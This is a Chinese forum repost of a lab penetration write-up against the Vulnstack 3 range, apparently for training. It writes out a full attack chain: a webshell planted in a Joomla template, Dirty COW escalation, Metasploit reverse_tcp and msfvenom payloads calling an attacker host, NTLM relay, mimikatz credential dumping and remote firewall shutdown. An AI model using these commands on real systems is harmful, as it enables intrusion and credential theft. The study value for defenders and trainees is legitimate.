安全矩阵

 找回密码
 立即注册
搜索
查看: 2656|回复: 0

记一次靶场内网渗透(四)

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-3-14 20:07:49 | 显示全部楼层 |阅读模式
原文链接:记一次靶场内网渗透(四)
前言
在上一节 [记一次Vulnstack靶场内网渗透(三)]中,我们简单的对vulnstack 2的靶场环境做了一次测试,通过外网初探、信息收集、攻入内网最终拿下域控。在本节中,我测试的靶场是vulnstack 3这个靶场。靶场地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/5/
本次靶场渗透主要是Joomla CMS漏洞的综合渗透练习,通过信息收集、漏洞利用、权限提升、以及域渗透最终拿下域控并获得域控中的一份重要文件。
本次靶场难度适中,总最开始的信息收集到漏洞利用,最终到拿下域控之间总共花了我大约一天的时间。。。
实验环境搭建靶机启动前需要在vmware上新添加一个VMnet2网卡,并设置如下网段为192.168.93.0/24:

image-20210203134849448 测试环境测试环境网络拓扑图如下:

image-20210203153304432 外网渗透外网信息收集我们首先对已知的IP(192.168.1.110)进行端口扫描:
nmap -T4 -sC -sV 192.168.1.110

image-20210203153634064 如上图所示,发现CentOS上面开放了22、80和3306端口,分别运行着OpenSSH、nginx和msyql
访问80端口,发现是一个Joomla CMS搭建的站点:

image-20210203153717704
Joomla是一套全球知名的内容管理系统,是使用PHP语言加上MySQL数据库所开发的软件系统,目前最新版本是3.9.24。
Kali Linux中有一个漏洞扫描器叫做JoomScan,专门用于查找Joomla中的漏洞。
输入以下命令使用JoomScan对目标网站进行扫描:
joomscan -u http://192.168.1.110

image-20210203153948373 没有扫出什么洞来,并且发现Joomla的版本为3.9.12,版本挺新的。
扫描目录:

image-20210203154734155 发现一个备份文件 configuration.php~ 泄露,将其下载下来查看,发现数据库配置信息,有用户名和密码:testuser/cvcvgjASD!@:

image-20210203155520582 接着,我们访问Joomla后台登录页面/administrator:

image-20210203154424017 尝试弱口令登录失败,也懒得爆破了,想必没有那么简单。
初步攻击
既然给了我们数据库的用户名和密码,应该是让我们从MySQL这里入手,我们使用Navicat远程登陆目标机的MySQL:

image-20210203164657660 成功连接之后,翻了好一段时间,终于在am2zu_users表中发现了管理员账户和被加密的密码:

image-20210203164813790 这样的密码爆破是不可能了。之前在电子数据取证比赛中学到了一个思路,就是新注册一个用户,然后用我们新建的用户的密码去覆盖管理员用户的密码,这样我们就可以用自己新建的用户密码去登录管理员账号。
既然目标的数据库都拿下了,那我们便可以尝试重置管理员的密码或者直接添加一个新的超级管理员账户,在Joomla官网找到了这份文档:《如何恢复或重置管理员密码?》
在MySQL中输入以下命令便可成功接添加一个用户名为admin2,密码为secret的超级管理员:
INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2','d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');使用admin2账户成功登录后台:

image-20210203171532548 在后台发现在前台模板功能里面可以直接编辑php文件,我们一可以直接写入webshell并连接:

image-20210203171617261 进入后,选择 “Beez3 Details and Files” ,在index.php页面中写入一句话木马:

image-20210203171945100 然后用蚁剑连接/templates/beez3/index.php,如下图,连接成功:

image-20210203172544111 却发现不能执行命令:

image-20210203172718440 应该是设置了disable_functions,CTF中经常出这样的题。我又在模板中写了一个phpinfo,访问查看确实设置了disable_functions:

image-20210203173041935 绕过disable_functions的方法有很多,较为常见的我们可以用LD_PRELOAD绕过,需要下载一个利用脚本exploit.php:https://github.com/MrAnonymous-1/disable_functions
在模板编辑中新建一个文件并将利用脚本exploit.php的内容复制进去:


image-20210203182320221 然后发送如下POST请求:
POST: cmd=<command>// <command>为你要执行的系统命令
image-20210203182524538 成功Getshell。
蚁剑上面也有几个可以bypass disable_functions的插件,随便选择一个模式执行也可以成功绕过disable_functions:

image-20210203184717573 接下来开始收集目标主机及其所在网络环境的信息,无非就那几个:
  1. <pre><code>uname -a    # 获取所有版本信息</code><code>uname -m  
  2.   # 获取Linux内核架构</code><code>cat /proc/version  
  3.   # 获取内核信息 </code><code>cat /etc/*-release
  4.   # 发布信息</code><code>cat /etc/issue  
  5.   # 发布信息</code><code>hostname  
  6.   # 获取主机名</code><code>cat /etc/passwd  
  7.   # 列出系统所有用户 </code><code>cat /etc/group
  8.    # 列出系统所有组 </code><code>w  
  9.   # 查看目前登录的用户</code><code>whoami
  10.    # 查看当前用户 </code><code>id  
  11.   # 查看当前用户信息 </code><code>sudo -l  
  12.   # 列出目前用户可执行与无法执行的指令 </code><code>ps aux  
  13.   # 查看进程信息 </code><code>ls -la /etc/cron*  
  14.   # 查看计划任务</code><code>ifconfig -a  
  15.   # 列出网络接口信息 </code><code>cat /etc/network/interfaces  
  16.   # 列出网络接口信息 </code><code>arp -a  
  17.   # 查看系统arp表 </code><code>route  
  18.   # 打印路由信息</code><code>netstat -anplt
  19.    # 打印本地端口开放信息 </code><code>iptables -L
  20.    # 列出iptable的配置规则</code></pre><p><span tabindex="-1" data-cke-widget-wrapper="1" data-cke-filter="off" class="cke_widget_wrapper cke_widget_inline cke_widget_image cke_image_nocaption cke_widget_selected" data-cke-display-name="图像" data-cke-widget-id="47" role="region" aria-label="图片 图像 小部件" style="" contenteditable="false"></span></p>
复制代码


image-20210203191021813
image-20210203191117374 可知目标主机为Ubuntu16,并且发现一个192.168.93.0/24的网段,但是该主机的IP却为192.168.93.120,是一个内网IP。有点诡异,那我们访问的192.168.1.110去哪了?现在这里留个坑。
接着,我们在/tmp/mysql目录里面发现了一个test.txt文件,在里面发现了一组用户名和密码(wwwuser/wwwuser_123Aqx):

image-20210203193835051 难道是ssh的凭证?但是我们之前在信息收集时并没有发现过该用户,不管了,先连连试试:

image-20210203194317982 竟然连接成功了。此时我们在执行ifconfig却发现目标主机的系统版本信息和网络连接等信息全变了:

image-20210203194736429 系统从原来的Ubuntu变为了CentOS,IP也变成了两个一个是我们之前访问的192.168.1.110,一个是192.168.93.0/24的网段的192.168.93.100。
看来目标网站应该是做了反向代理了,将处于内网的Ubuntu(192.168.93.120)代理到了CentOS(192.168.1.110)上。查看了CentOS上的nginx配置文件后,证实了我的猜想:

image-20210203200115530 如上图我们在CentOS的nginx配置中成功发现了nginx反向代理的标志——“proxy_pass”,这就说明CentOS(192.168.1.110)服务器上的nginx并不是用来进行web服务的,而是用来做反向代理的,我们可以看到,CentOS服务器上的nginx把收到的请求转发给了内网的服务器192.168.93.120,也就是我们之前Getshell的Ubuntu。
好了,到目前为止我们已经拿下了两台主机了:
•CentOS:192.168.1.110•Ubuntu:192.168.93.120
但是权限都很低,虽然我们有了CentOS的用户名和密码,但是CentOS主机禁止了当前用户执行sudo,为了能执行更多的命令我们还需要进行提权。Ubuntu的内核比较新,所以我们主要还是考虑提权CentOS。
权限提升
我们使用大名鼎鼎的脏牛(CVE-2016-5195)对CentOS进行提权。
首先下载Exp:https://github.com/FireFart/dirtycow
编译下载的Exp:
  1. gcc -pthread dirty.c -o dirty -lcrypt
复制代码


将编译好的漏洞利用程序上传到CentOS中一个有权限的目录,然后执行如下命令:
./dirty 123456# ./dirty <password>执行完成后,会在目标主机上添加一个名为firefart,密码为123456且具备root权限的用户,切换到该用户即可获得root权限,如下图所示:

image-20210203214148796 攻入内网为了更好的渗透内网,我要给CentOS上一个metasploit的shell:
  1. <code>use exploit/multi/script/web_delivery</code><code>set target 6
  2.    # 选择目标系统</code><code>set payload linux/x64/meterpreter/reverse_tcp</code><code>set lhost 192.168.1.9</code><code>set lport 4444</code><code>exploit</code>
复制代码


执行后,会生成一条命令:

image-20210203215521527 将该命令再目标机CentOS上执行即可获得其meterpreter:

image-20210203215752643 路由转发与Socks代理添加一个通向内网192.168.93.0/24网段的路由:

image-20210203220401257 路由转发只能将msfconsole带进内网,而要想将攻击机上的其他攻击程序也带进内网还需要搭建socks代理。我们使用earthworm搭建socks5反向代理服务。
在攻击机上执行如下:
  1. ./ew_for_linux64 -s rcsocks -l 1080 -e 1234
复制代码


在CentOS上传ew_for_linux64,并执行如下命令:
  1. ./ew_for_linux64 -s rssocks -d 192.168.1.9 -e 1234
复制代码



image-20210203224720648 然后配置proxychains,将socks5服务器指向127.0.0.1:1080,之后便可以使用proxychains将我们的程序代理进内网了。
接着,我们使用metasploit的 auxiliary/scanner/discovery/udp_probe 模块来扫描内网主机存活:
  1. <code>use auxiliary/scanner/discovery/udp_probe</code><code>set rhosts 192.168.93.0-255</code><code>set threads 5</code><code>run</code>
复制代码



image-20210203233925643
image-20210204023602480 可知内网中除了Ubuntu以外还存在三台Windows主机,并且都在TEST域中。使用nmap进一步探测:
  1. proxychains4 nmap -Pn -sT -sV 192.168.93.10 192.168.93.20 192.168.93.30 -F
复制代码



image-20210204020235410 三台主机的信息如上所示,主机的系统版本、端口上运行的服务一目了然。
绘出整个网络环境的图谱图大致如下:

image-20210203153304432
横向移动
现在,我们就要想办法渗透内网中的那三台机子。我这里才用的是 NTLM Relay 攻击。
NTLM Relay 攻击大致的思路是:攻击者在CentOS上面伪造一个恶意的SMB服务器,当内网中有机器 Client1 访问这个攻击者精心构造好的SMB服务器时, smbrelayx.py 脚本将抓到 Client1 的 Net-NTLM Hash ,然后 smbrelayx.py 用抓取到的 Client1 的 Net-NTLM Hash 重放给内网中的另一台机器 Client2。了解NTLM Relay 攻击的详情请看我的文章:《内网渗透测试:NTLM Relay攻击分析》
需要用到Impacket工具包中的smbrelayx.py工具,在CentOS上下载并安装Impacket,下载地址:https://github.com/SecureAuthCorp/impacket
首先,我们先生成一个正向的msf马:
  1. msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.1.9 LPORT=4444 -e x86/shikata_ga_nai -f exe -o shell.exe
复制代码


并将新生成的木马shell.exe上传到CentOS上面。
然后进入Impacket的examples目录执行如下命令:
./smbrelayx.py -h 192.168.93.20 -e /root/shell.exe# 192.168.93.20 为要重放的目标主机
image-20210204161002061 执行后会在CentOS上面启动一个smb服务和一个http服务,http服务会跟nginx的80端口冲突,所以需要事先停止nginx 服务:nginx -s stop 。
此时,如果内网中的有域用户访问再次通过centos代理访问站点时,访问的就不是之前的那个Joomla站点了,而是攻击者在centos上面搭建的一个恶意的smb服务,会弹出一个认证页面:

image-20210204161358461 安全意识差的用户自然会输入自己的域用户密码,然后smbrelayx.py就会抓取到该用户的Net-NTLM Hash并重放给内网中的另一台机器 192.168.93.20(Windows Server 2008),成功后,会在Windows Server 2008上面上传我们预先生成的木马shell.exe并执行。
由于这里是靶机,所以我手动完成该域用户的认证过程,就用Windows7上的用户访问吧。输入用户名密码后,smbrelayx.py成功抓取到该用户的Net-NTLM Hash:

image-20210204161224186 Windows Server 2008成功上线meterpreter,并且还是system权限:

image-20210204161108544 (注意这里在监听bind_tcp时一定要设置进程迁移,否则在 Removing file 的时候,会话也随之关闭了)
定位域管理员拿下Windows server 2008之后,我们在Windows server 2008上传PVEFindADUser.exe工具,然后进入shell中执行如下命令:
  1. pvefinaduser.exe -current
复制代码


如下图,成功显示域中所有计算机上当前登陆的所有用户:

image-20210204170707015 可见TEST域的域管理员(test\administrator)当前登录的主机为WIN-8GA56TNV3MV.test.org,即Windows Server 2012(192.168.93.10)。
抓取域用户密码在Windows Server 2008上面列出当前进程时,发现了域管理员(TEST\administrator)的进程:

image-20210204183309037 所以我们可以在Windows server 2008上使用meterpreter上的kiwi模块抓取域用户及域管理员的密码:
  1. <code>load kiwi</code><code>kiwi_cmd privilege::debug</code><code>kiwi_cmd sekurlsa::logonPasswords</code>
复制代码



image-20210204163037297 报错了,因为当前是32位的进程无法运行mimikatz,所以我们需要将当前进程迁移到一个64位的进程中。执行ps命令后随便找一个64位的进程迁移进去就行了:

image-20210204191326339
image-20210204191437231 如上图,成功抓取到了Windows 2008本地的管理员用户和域管理员的密码:
•WIN2008\Administrator:123qwe!ASD•TEST\administrator:zxcASDqw123!!
由于之前我们可以用Windows7上的用户Net-NTLM Hash对Windows 2008进行重放,说明Windows 7上的用户名和密码必然和Windows 2008是一样的,所以我们可以尝试直接登录:
  1. <code>use exploit/windows/smb/psexec</code><code>set rhosts 192.168.93.30</code><code>set SMBUser administrator</code><code>set SMBPass 123qwe!ASD</code><code>set payload windows/meterpreter/bind_tcp</code><code>set rhost 192.168.93.30</code><code>run</code>
复制代码



image-20210204165332678 竟然成功了。。。
进攻域控
我们上面已经获得了域管理员的用户名密码了,直接登录即可:
  1. <code>setg Proxies socks5:127.0.0.1:1080</code><code>use exploit/windows/smb/psexec</code><code>set rhosts 192.168.93.10</code><code>set SMBDomain TEST</code><code>set SMBUser administrator</code><code>set SMBPass zxcASDqw123!!</code><code># set SMBPass fc5d63d71569f04399b419bc76e2eb34:18edd0cc3227be3bf61ce198835a1d97</code><code>set payload windows/meterpreter/bind_tcp</code><code>set rhost 192.168.93.10</code><code>run</code>
复制代码


登录失败了:

image-20210204200557814 只能用其他方法了。
重新生成一个正向的msf马bind.exe,并将bind.exe上传到Windows 2008:

image-20210204202020352 然后我们窃取个域管理员用户的token令牌:
  1. <code>use incognito</code><code>list_tokens -u</code><code>impersonate_token "TEST\adminitrator"</code>
复制代码



image-20210204201757090 这样我们的当前拿下的Windows 2008便有了访问域控制器的权限:

image-20210204201915302 如上图,成功列出域控制器(192.168.93.10)的C盘目录。
在C:\Users\Administrator\Documents目录里面发现了所谓的机密文件:
  1. dir \\192.168.93.10\C$\Users\Administrator\Documents
复制代码



image-20210204204420301 然后执行如下命令,使用sc远程在域制器(192.168.93.10)上创建服务关闭防火墙:
  1. <code>sc \\192.168.93.10 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"</code><code>sc \\192.168.93.10 start unablefirewall</code>
复制代码



image-20210204204955511 再次尝试使用 exploit/windows/smb/psexec 模块登录即可成功:

image-20210204205515224 下载机密文件:

image-20210204211126685 至此,整个靶场渗透结束:

image-20210204210510255 Ending......本次靶场难度适中,总最开始的信息收集到漏洞利用,最终到拿下域控之间总共花了我大约一天的时间。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 23:43 , Processed in 0.015495 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表